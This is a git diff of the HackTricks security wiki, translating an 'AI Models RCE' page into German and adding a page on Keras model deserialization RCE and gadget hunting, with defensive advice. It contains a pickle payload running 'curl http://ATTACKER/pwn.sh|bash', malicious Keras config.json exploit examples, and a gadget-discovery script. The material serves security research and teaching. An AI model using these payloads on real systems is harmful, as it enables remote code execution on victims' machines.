Translated ['src/AI/AI-Models-RCE.md', 'src/generic-methodologies-and-re

src/AI/AI-Models-RCE.md

@@ -1,4 +1,4 @@
-# Modelle RCE
+# Models RCE
 
 {{#include ../banners/hacktricks-training.md}}
 
@@ -13,14 +13,14 @@ Zum Zeitpunkt des Schreibens sind dies einige Beispiele für diese Art von Schwa
 | **PyTorch** (Python)        | *Unsichere Deserialisierung in* `torch.load` **(CVE-2025-32434)**                                                              | Schadhafter Pickle im Modell-Checkpoint führt zur Codeausführung (Umgehung der `weights_only`-Sicherung)                                | |
 | PyTorch **TorchServe**      | *ShellTorch* – **CVE-2023-43654**, **CVE-2022-1471**                                                                         | SSRF + schadhafter Modell-Download verursacht Codeausführung; Java-Deserialisierungs-RCE in der Verwaltungs-API                          | |
 | **TensorFlow/Keras**        | **CVE-2021-37678** (unsicheres YAML) <br> **CVE-2024-3660** (Keras Lambda)                                                      | Laden des Modells aus YAML verwendet `yaml.unsafe_load` (Codeausführung) <br> Laden des Modells mit **Lambda**-Schicht führt zur Ausführung beliebigen Python-Codes | |
-| TensorFlow (TFLite)         | **CVE-2022-23559** (TFLite-Parsing)                                                                                          | Bearbeitetes `.tflite`-Modell löst ganzzahligen Überlauf aus → Heap-Korruption (potenzielles RCE)                                       | |
+| TensorFlow (TFLite)         | **CVE-2022-23559** (TFLite-Parsing)                                                                                          | Ausgelöstes `.tflite`-Modell verursacht ganzzahlige Überläufe → Heap-Korruption (potenzielles RCE)                                      | |
 | **Scikit-learn** (Python)   | **CVE-2020-13092** (joblib/pickle)                                                                                           | Laden eines Modells über `joblib.load` führt zur Ausführung von Pickle mit dem Payload des Angreifers `__reduce__`                       | |
-| **NumPy** (Python)          | **CVE-2019-6446** (unsicheres `np.load`) *umstritten*                                                                          | `numpy.load` erlaubte standardmäßig pickled Objektarrays – schadhafter `.npy/.npz` löst Codeausführung aus                               | |
+| **NumPy** (Python)          | **CVE-2019-6446** (unsicheres `np.load`) *umstritten*                                                                          | `numpy.load` erlaubte standardmäßig pickled Objektarrays – schadhafter `.npy/.npz`-Datei führt zur Codeausführung                        | |
 | **ONNX / ONNX Runtime**     | **CVE-2022-25882** (Verzeichnisdurchquerung) <br> **CVE-2024-5187** (tar-Durchquerung)                                        | Der externe Gewichts-Pfad des ONNX-Modells kann das Verzeichnis verlassen (beliebige Dateien lesen) <br> Schadhafter ONNX-Modell-Tar kann beliebige Dateien überschreiben (führt zu RCE) | |
-| ONNX Runtime (Designrisiko) | *(Keine CVE)* ONNX benutzerdefinierte Operationen / Kontrollfluss                                                               | Modell mit benutzerdefiniertem Operator erfordert das Laden des nativen Codes des Angreifers; komplexe Modellgraphen missbrauchen Logik, um unbeabsichtigte Berechnungen auszuführen | |
+| ONNX Runtime (Designrisiko) | *(Keine CVE)* ONNX benutzerdefinierte Operationen / Kontrollfluss                                                              | Modell mit benutzerdefiniertem Operator erfordert das Laden des nativen Codes des Angreifers; komplexe Modellgraphen missbrauchen Logik, um unbeabsichtigte Berechnungen auszuführen | |
 | **NVIDIA Triton Server**    | **CVE-2023-31036** (Pfad-Durchquerung)                                                                                       | Verwendung der Modell-Lade-API mit aktiviertem `--model-control` ermöglicht relative Pfad-Durchquerung zum Schreiben von Dateien (z. B. Überschreiben von `.bashrc` für RCE) | |
-| **GGML (GGUF-Format)**      | **CVE-2024-25664 … 25668** (mehrere Heap-Überläufe)                                                                          | Fehlformatierte GGUF-Modell-Datei verursacht Heap-Pufferüberläufe im Parser, was die Ausführung beliebigen Codes auf dem Opfersystem ermöglicht | |
+| **GGML (GGUF-Format)**      | **CVE-2024-25664 … 25668** (mehrere Heap-Überläufe)                                                                           | Fehlformatierte GGUF-Modell-Datei verursacht Heap-Pufferüberläufe im Parser, was die Ausführung beliebigen Codes auf dem Opfersystem ermöglicht | |
-| **Keras (ältere Formate)**  | *(Keine neue CVE)* Legacy Keras H5-Modell                                                                                     | Schadhafter HDF5 (`.h5`) Modell mit Lambda-Schicht-Code wird beim Laden weiterhin ausgeführt (Keras safe_mode deckt altes Format nicht ab – „Downgrade-Angriff“) | |
+| **Keras (ältere Formate)**  | *(Keine neue CVE)* Legacy Keras H5-Modell                                                                                     | Schadhafter HDF5 (`.h5`) Modell mit Lambda-Schicht-Code wird beim Laden weiterhin ausgeführt (Keras safe_mode deckt das alte Format nicht ab – „Downgrade-Angriff“) | |
 | **Andere** (allgemein)      | *Designfehler* – Pickle-Serialisierung                                                                                       | Viele ML-Tools (z. B. pickle-basierte Modellformate, Python `pickle.load`) führen beliebigen Code aus, der in Modell-Dateien eingebettet ist, es sei denn, es gibt Abhilfemaßnahmen | |
 
 Darüber hinaus gibt es einige auf Python-Pickle basierende Modelle wie die von [PyTorch](https://github.com/pytorch/pytorch/security), die verwendet werden können, um beliebigen Code auf dem System auszuführen, wenn sie nicht mit `weights_only=True` geladen werden. Daher könnte jedes auf Pickle basierende Modell besonders anfällig für diese Art von Angriffen sein, auch wenn sie nicht in der obigen Tabelle aufgeführt sind.
@@ -51,8 +51,8 @@ return (os.system, ("/bin/bash -c 'curl http://ATTACKER/pwn.sh|bash'",))
 with open("payload.ckpt", "wb") as f:
 pickle.dump(Payload(), f)
 ```
-2. Host `payload.ckpt` auf einem HTTP-Server, den Sie kontrollieren (z.B. `http://ATTACKER/payload.ckpt`).
+2. Hoste `payload.ckpt` auf einem HTTP-Server, den du kontrollierst (z.B. `http://ATTACKER/payload.ckpt`).
-3. Triggern Sie den anfälligen Endpunkt (keine Authentifizierung erforderlich):
+3. Trigger den verwundbaren Endpunkt (keine Authentifizierung erforderlich):
 ```python
 import requests
 
@@ -74,16 +74,16 @@ Fertiger Exploit: **Metasploit** Modul `exploit/linux/http/invokeai_rce_cve_2024
 #### Bedingungen
 
 •  InvokeAI 5.3.1-5.4.2 (Scan-Flag standardmäßig **false**)  
-•  `/api/v2/models/install` für den Angreifer erreichbar  
+•  `/api/v2/models/install` vom Angreifer erreichbar  
-•  Der Prozess hat Berechtigungen zur Ausführung von Shell-Befehlen  
+•  Prozess hat Berechtigungen zur Ausführung von Shell-Befehlen  
 
 #### Minderung
 
 * Upgrade auf **InvokeAI ≥ 5.4.3** – der Patch setzt `scan=True` standardmäßig und führt eine Malware-Überprüfung vor der Deserialisierung durch.  
 * Verwenden Sie beim programmgesteuerten Laden von Checkpoints `torch.load(file, weights_only=True)` oder den neuen [`torch.load_safe`](https://pytorch.org/docs/stable/serialization.html#security) Helfer.  
-* Erzwingen Sie Zulassungslisten / Signaturen für Modellquellen und führen Sie den Dienst mit minimalen Rechten aus.  
+* Erzwingen Sie Erlauben-Listen / Signaturen für Modellquellen und führen Sie den Dienst mit minimalen Rechten aus.  
 
-> ⚠️ Denken Sie daran, dass **jede** Python-Pickle-basierte Format (einschließlich vieler `.pt`, `.pkl`, `.ckpt`, `.pth` Dateien) von untrusted Quellen grundsätzlich unsicher zu deserialisieren ist.  
+> ⚠️ Denken Sie daran, dass **jede** Python-Pickle-basierte Format (einschließlich vieler `.pt`, `.pkl`, `.ckpt`, `.pth` Dateien) von Natur aus unsicher ist, um von nicht vertrauenswürdigen Quellen deserialisiert zu werden.  
 
 ---
 
@@ -161,11 +161,19 @@ with tarfile.open("symlink_demo.model", "w:gz") as tf:
 tf.add(pathlib.Path(PAYLOAD).parent, filter=link_it)
 tf.add(PAYLOAD)                      # rides the symlink
 ```
+### Deep-dive: Keras .keras Deserialisierung und Gadget-Suche
+
+Für einen fokussierten Leitfaden zu .keras-Interna, Lambda-Layer RCE, dem Problem mit dem willkürlichen Import in ≤ 3.8 und der Entdeckung von Post-Fix-Gadgets innerhalb der Allowlist, siehe:
+
+{{#ref}}
+../generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md
+{{#endref}}
+
 ## Referenzen
 
-- [OffSec-Blog – "CVE-2024-12029 – InvokeAI Deserialization of Untrusted Data"](https://www.offsec.com/blog/cve-2024-12029/)
+- [OffSec Blog – "CVE-2024-12029 – InvokeAI Deserialisierung von nicht vertrauenswürdigen Daten"](https://www.offsec.com/blog/cve-2024-12029/)
 - [InvokeAI Patch Commit 756008d](https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e)
-- [Rapid7 Metasploit Modul-Dokumentation](https://www.rapid7.com/db/modules/exploit/linux/http/invokeai_rce_cve_2024_12029/)
+- [Rapid7 Metasploit Modul Dokumentation](https://www.rapid7.com/db/modules/exploit/linux/http/invokeai_rce_cve_2024_12029/)
 - [PyTorch – Sicherheitsüberlegungen für torch.load](https://pytorch.org/docs/stable/notes/serialization.html#security)
 
 {{#include ../banners/hacktricks-training.md}}

src/SUMMARY.md

@@ -69,6 +69,7 @@
   - [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md)
     - [LOAD_NAME / LOAD_CONST opcode OOB Read](generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md)
   - [Class Pollution (Python's Prototype Pollution)](generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
+  - [Keras Model Deserialization Rce And Gadget Hunting](generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md)
   - [Python Internal Read Gadgets](generic-methodologies-and-resources/python/python-internal-read-gadgets.md)
   - [Pyscript](generic-methodologies-and-resources/python/pyscript.md)
   - [venv](generic-methodologies-and-resources/python/venv.md)

src/generic-methodologies-and-resources/python/README.md

@@ -2,10 +2,11 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-**Interessante Seiten zu überprüfen:**
+**Interessante Seiten zum Überprüfen:**
 
 - [**Pyscript-Hacking-Tricks**](pyscript.md)
 - [**Python-Deserialisierungen**](../../pentesting-web/deserialization/README.md)
+- [**Keras-Modell-Deserialisierung RCE und Gadget-Jagd**](keras-model-deserialization-rce-and-gadget-hunting.md)
 - [**Tricks zum Umgehen von Python-Sandboxes**](bypass-python-sandboxes/README.md)
 - [**Grundsyntax für Python-Webanfragen**](web-requests.md)
 - [**Grundsyntax und Bibliotheken in Python**](basic-python.md)

src/generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md

@@ -0,0 +1,207 @@
+# Keras Model Deserialization RCE und Gadget Hunting
+
+{{#include ../../banners/hacktricks-training.md}}
+
+Diese Seite fasst praktische Ausnutzungstechniken gegen die Keras-Modell-Deserialisierungspipeline zusammen, erklärt die internen Abläufe und die Angriffsfläche des nativen .keras-Formats und bietet ein Forscher-Toolkit zur Auffindung von Model File Vulnerabilities (MFVs) und Post-Fix-Gadgets.
+
+## Interne Abläufe des .keras-Modellformats
+
+Eine .keras-Datei ist ein ZIP-Archiv, das mindestens enthält:
+- metadata.json – allgemeine Informationen (z.B. Keras-Version)
+- config.json – Modellarchitektur (primäre Angriffsfläche)
+- model.weights.h5 – Gewichte im HDF5-Format
+
+Die config.json steuert die rekursive Deserialisierung: Keras importiert Module, löst Klassen/Funktionen auf und rekonstruiert Schichten/Objekte aus von Angreifern kontrollierten Dictionaries.
+
+Beispielausschnitt für ein Dense-Schichtobjekt:
+```json
+{
+"module": "keras.layers",
+"class_name": "Dense",
+"config": {
+"units": 64,
+"activation": {
+"module": "keras.activations",
+"class_name": "relu"
+},
+"kernel_initializer": {
+"module": "keras.initializers",
+"class_name": "GlorotUniform"
+}
+}
+}
+```
+Deserialisierung führt durch:
+- Modulimport und Symbolauflösung von module/class_name-Schlüsseln
+- from_config(...) oder Konstruktoraufruf mit vom Angreifer kontrollierten kwargs
+- Rekursion in verschachtelte Objekte (Aktivierungen, Initialisierer, Einschränkungen usw.)
+
+Historisch gesehen hat dies drei Primitiven für einen Angreifer, der config.json erstellt, offengelegt:
+- Kontrolle darüber, welche Module importiert werden
+- Kontrolle darüber, welche Klassen/Funktionen aufgelöst werden
+- Kontrolle über kwargs, die in Konstruktoren/from_config übergeben werden
+
+## CVE-2024-3660 – Lambda-layer Bytecode RCE
+
+Ursache:
+- Lambda.from_config() verwendete python_utils.func_load(...), das base64-dekodiert und marshal.loads() auf Angreifer-Bytes aufruft; Python-Unmarshalling kann Code ausführen.
+
+Exploit-Idee (vereinfachte Payload in config.json):
+```json
+{
+"module": "keras.layers",
+"class_name": "Lambda",
+"config": {
+"name": "exploit_lambda",
+"function": {
+"function_type": "lambda",
+"bytecode_b64": "<attacker_base64_marshal_payload>"
+}
+}
+}
+```
+Mitigation:
+- Keras erzwingt standardmäßig safe_mode=True. Serialisierte Python-Funktionen in Lambda sind blockiert, es sei denn, der Benutzer entscheidet sich ausdrücklich für safe_mode=False.
+
+Notes:
+- Legacy-Formate (ältere HDF5-Speicher) oder ältere Codebasen erzwingen möglicherweise keine modernen Überprüfungen, sodass „Downgrade“-Angriffe weiterhin anwendbar sind, wenn Opfer ältere Loader verwenden.
+
+## CVE-2025-1550 – Arbitrary module import in Keras ≤ 3.8
+
+Root cause:
+- _retrieve_class_or_fn verwendete unrestricted importlib.import_module() mit von Angreifern kontrollierten Modul-Strings aus config.json.
+- Impact: Arbiträre Importe von beliebigen installierten Modulen (oder von Angreifern platzierten Modulen auf sys.path). Code zur Importzeit wird ausgeführt, dann erfolgt die Objektkonstruktion mit Angreifer-kwargs.
+
+Exploit idea:
+```json
+{
+"module": "maliciouspkg",
+"class_name": "Danger",
+"config": {"arg": "val"}
+}
+```
+Sicherheitsverbesserungen (Keras ≥ 3.9):
+- Modul-Whitelist: Importe auf offizielle Ökosystemmodule beschränkt: keras, keras_hub, keras_cv, keras_nlp
+- Standard-Sicherheitsmodus: safe_mode=True blockiert das Laden unsicherer Lambda-serialisierter Funktionen
+- Grundlegende Typüberprüfung: Deserialisierte Objekte müssen den erwarteten Typen entsprechen
+
+## Post-Fix Gadget-Oberfläche innerhalb der Whitelist
+
+Selbst mit Whitelisting und Sicherheitsmodus bleibt eine breite Oberfläche unter den erlaubten Keras-Callable-Funktionen. Zum Beispiel kann keras.utils.get_file beliebige URLs an benutzerauswählbare Standorte herunterladen.
+
+Gadget über Lambda, das auf eine erlaubte Funktion verweist (nicht serialisierter Python-Bytecode):
+```json
+{
+"module": "keras.layers",
+"class_name": "Lambda",
+"config": {
+"name": "dl",
+"function": {"module": "keras.utils", "class_name": "get_file"},
+"arguments": {
+"fname": "artifact.bin",
+"origin": "https://example.com/artifact.bin",
+"cache_dir": "/tmp/keras-cache"
+}
+}
+}
+```
+Wichtige Einschränkung:
+- Lambda.call() fügt den Eingabetensor als erstes positionsbasiertes Argument hinzu, wenn das Ziel-Callable aufgerufen wird. Gewählte Gadgets müssen ein zusätzliches positionsbasiertes Argument tolerieren (oder *args/**kwargs akzeptieren). Dies schränkt ein, welche Funktionen geeignet sind.
+
+Potenzielle Auswirkungen von erlaubten Gadgets:
+- Arbiträrer Download/Schreiben (Pfad-Pflanzung, Konfigurationsvergiftung)
+- Netzwerk-Callbacks/SSRF-ähnliche Effekte, abhängig von der Umgebung
+- Verkettung zur Codeausführung, wenn geschriebene Pfade später importiert/ausgeführt oder zum PYTHONPATH hinzugefügt werden, oder wenn ein beschreibbarer Ausführungsort vorhanden ist
+
+## Forscher-Toolkit
+
+1) Systematische Gadget-Entdeckung in erlaubten Modulen
+
+Zählen Sie potenzielle Callables in keras, keras_nlp, keras_cv, keras_hub auf und priorisieren Sie diejenigen mit Datei-/Netzwerk-/Prozess-/Umgebungsnebenwirkungen.
+```python
+import importlib, inspect, pkgutil
+
+ALLOWLIST = ["keras", "keras_nlp", "keras_cv", "keras_hub"]
+
+seen = set()
+
+def iter_modules(mod):
+if not hasattr(mod, "__path__"):
+return
+for m in pkgutil.walk_packages(mod.__path__, mod.__name__ + "."):
+yield m.name
+
+candidates = []
+for root in ALLOWLIST:
+try:
+r = importlib.import_module(root)
+except Exception:
+continue
+for name in iter_modules(r):
+if name in seen:
+continue
+seen.add(name)
+try:
+m = importlib.import_module(name)
+except Exception:
+continue
+for n, obj in inspect.getmembers(m):
+if inspect.isfunction(obj) or inspect.isclass(obj):
+sig = None
+try:
+sig = str(inspect.signature(obj))
+except Exception:
+pass
+doc = (inspect.getdoc(obj) or "").lower()
+text = f"{name}.{n} {sig} :: {doc}"
+# Heuristics: look for I/O or network-ish hints
+if any(x in doc for x in ["download", "file", "path", "open", "url", "http", "socket", "env", "process", "spawn", "exec"]):
+candidates.append(text)
+
+print("\n".join(sorted(candidates)[:200]))
+```
+2) Direkte Deserialisierungstests (kein .keras-Archiv erforderlich)
+
+Geben Sie gestaltete Diktate direkt in Keras-Deserialisierer ein, um akzeptierte Parameter zu lernen und Nebenwirkungen zu beobachten.
+```python
+from keras import layers
+
+cfg = {
+"module": "keras.layers",
+"class_name": "Lambda",
+"config": {
+"name": "probe",
+"function": {"module": "keras.utils", "class_name": "get_file"},
+"arguments": {"fname": "x", "origin": "https://example.com/x"}
+}
+}
+
+layer = layers.deserialize(cfg, safe_mode=True)  # Observe behavior
+```
+3) Cross-Version-Probing und Formate
+
+Keras existiert in mehreren Codebasen/Epochen mit unterschiedlichen Sicherheitsvorkehrungen und Formaten:
+- TensorFlow integriertes Keras: tensorflow/python/keras (veraltet, zur Löschung vorgesehen)
+- tf-keras: separat gepflegt
+- Multi-Backend Keras 3 (offiziell): führte .keras ein
+
+Wiederholen Sie Tests über Codebasen und Formate (.keras vs. veraltetes HDF5), um Regressionen oder fehlende Sicherheitsvorkehrungen aufzudecken.
+
+## Defensive Empfehlungen
+
+- Behandeln Sie Modelldateien als nicht vertrauenswürdige Eingaben. Laden Sie Modelle nur aus vertrauenswürdigen Quellen.
+- Halten Sie Keras auf dem neuesten Stand; verwenden Sie Keras ≥ 3.9, um von Allowlisting und Typprüfungen zu profitieren.
+- Setzen Sie safe_mode=False beim Laden von Modellen nicht, es sei denn, Sie vertrauen der Datei vollständig.
+- Ziehen Sie in Betracht, die Deserialisierung in einer sandboxed, minimal privilegierten Umgebung ohne Netzwerkzugang und mit eingeschränktem Dateisystemzugriff auszuführen.
+- Erzwingen Sie Allowlists/Signaturen für Modellquellen und Integritätsprüfungen, wo immer möglich.
+
+## Referenzen
+
+- [Hunting Vulnerabilities in Keras Model Deserialization (huntr blog)](https://blog.huntr.com/hunting-vulnerabilities-in-keras-model-deserialization)
+- [Keras PR #20751 – Added checks to serialization](https://github.com/keras-team/keras/pull/20751)
+- [CVE-2024-3660 – Keras Lambda deserialization RCE](https://nvd.nist.gov/vuln/detail/CVE-2024-3660)
+- [CVE-2025-1550 – Keras arbitrary module import (≤ 3.8)](https://nvd.nist.gov/vuln/detail/CVE-2025-1550)
+- [huntr report – arbitrary import #1](https://huntr.com/bounties/135d5dcd-f05f-439f-8d8f-b21fdf171f3e)
+- [huntr report – arbitrary import #2](https://huntr.com/bounties/6fcca09c-8c98-4bc5-b32c-e883ab3e4ae3)
+
+{{#include ../../banners/hacktricks-training.md}}